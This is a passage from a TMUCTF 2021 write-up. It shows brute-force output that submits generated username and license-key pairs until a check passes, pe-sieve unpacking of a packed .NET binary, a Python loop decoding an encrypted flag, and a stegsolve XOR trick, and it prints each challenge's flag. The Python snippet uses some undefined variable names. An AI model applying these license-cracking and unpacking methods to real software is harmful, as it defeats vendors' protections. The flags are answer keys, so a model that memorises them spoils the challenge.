[*] Sending pair of username and license key to remote (GGGGGGGGGGGGGGGG:GKIKKJMIOQQHSUUW)
[*] Sending pair of username and license key to remote (HHHHHHHHHHHHHHHH:HLJLLKNJPRRITVVX)
[*] Sending pair of username and license key to remote (IIIIIIIIIIIIIIII:IMKMMLOKQSSJUWWY)
[*] Sending pair of username and license key to remote (JJJJJJJJJJJJJJJJ:JNLNNMPLRTTKVXXZ)
[*] Sending pair of username and license key to remote (KKKKKKKKKKKKKKKK:KOMOONQMSUULWYY[)
[*] Sending pair of username and license key to remote (LLLLLLLLLLLLLLLL:LPNPPORNTVVMXZZ\)
[*] Sending pair of username and license key to remote (MMMMMMMMMMMMMMMM:MQOQQPSOUWWNY[[])
[*] Sending pair of username and license key to remote (NNNNNNNNNNNNNNNN:JLLJNJPGRPT[VQXV)
[*] Sending pair of username and license key to remote (OOOOOOOOOOOOOOOO:KMMKOKQHSQU\WRYW)
[*] Sending pair of username and license key to remote (PPPPPPPPPPPPPPPP:LNNLPLRITRV]XSZX)
[*] Sending pair of username and license key to remote (QQQQQQQQQQQQQQQQ:MOOMQMSJUSW^YT[Y)
[*] Sending pair of username and license key to remote (RRRRRRRRRRRRRRRR:NPPNRNTKVTX_ZU\Z)
[*] Sending pair of username and license key to remote (SSSSSSSSSSSSSSSS:OQQOSOULWUY`[V][)
[*] Sending pair of username and license key to remote (TTTTTTTTTTTTTTTT:PRRPTPVMXVZa\W^\)
[*] Sending pair of username and license key to remote (UUUUUUUUUUUUUUUU:QSSQUQWNYW[b]X_])
[*] Sending pair of username and license key to remote (VVVVVVVVVVVVVVVV:RTTRVRXOZX\c^Y`^)
[*] Sending pair of username and license key to remote (WWWWWWWWWWWWWWWW:SUUSWSYP[Y]d_Za_)
[*] Sending pair of username and license key to remote (XXXXXXXXXXXXXXXX:TVVTXTZQ\Z^e`[b`)
[*] Sending pair of username and license key to remote (YYYYYYYYYYYYYYYY:UWWUYU[R][_fa\ca)
[*] Switching to interactive mode
License is valid!
Congratulations! Here is the flag:
TMUCTF{W0w_Y0u_Cr4ck3d_7h3_H0u53_L1k3_4_Ch4mp}

Flag: TMUCTF{W0w_Y0u_Cr4ck3d_7h3_H0u53_L1k3_4_Ch4mp}

Adimeht

By opening the executable using Ghidra, we can estimate that executable is packed. I have used pe-sieve to extract unpacked binary.

> .\pe-sieve32.exe /pid 8860
PID: 8860
Output filter: no filter: dump everything (default)
Dump mode: autodetect (default)
.
.
.
[+] Report dumped to: process_8860
[!] Failed reading Image at: 8a0000 img size: a70000
[!] Image size at: 8a0000 undetermined, using calculated size: a6f000
[*] This is a .NET payload and may require Enty Point correction. Current EP: 29ca
[*] Found possible Entry Point: 29ca
[*] Dumped module to: C:\Users\IEUser\Downloads\\process_8860\8a0000.Adimeht.exe as UNMAPPED

Unpacked binary is just a simple .NET application, so I have used DotPeek to Analyze it.

>>> flag = [33,128,119,373,33,70,174,72,308,153,126,338,151,35,384,65,35,8,384,81,153,384,202,8,214,35,65,56,153,151,384,153,35,19,338,142,104,40]
>>> for fch in enc_flag:
...     num2 = 1
...     for i in range(pkey):
...             num2 = fch * num2 % n
...     print(chr(num2), end='')
...
TMUCTF{7h3m1d4_c4n_b3_unp4ck3d_3451ly}

Flag: TMUCTF{7h3m1d4_c4n_b3_unp4ck3d_3451ly}

Welcome

Welcome

C&P (from Slack).

Flag: TMUCTF{W3lc0m3_70_7muc7f_2021_7h15_15_4_U}

Warmup

Flag image can be generated using stegsolve.jar 's Image Combiner in XOR mode.

f:id:m0pisec:20210909092105j:plain
output

Flag: TMUCTF{W3_h0p3_y0u_3nj0y_7h15_c0mp371710n_4nd_7h4nk_y0u!}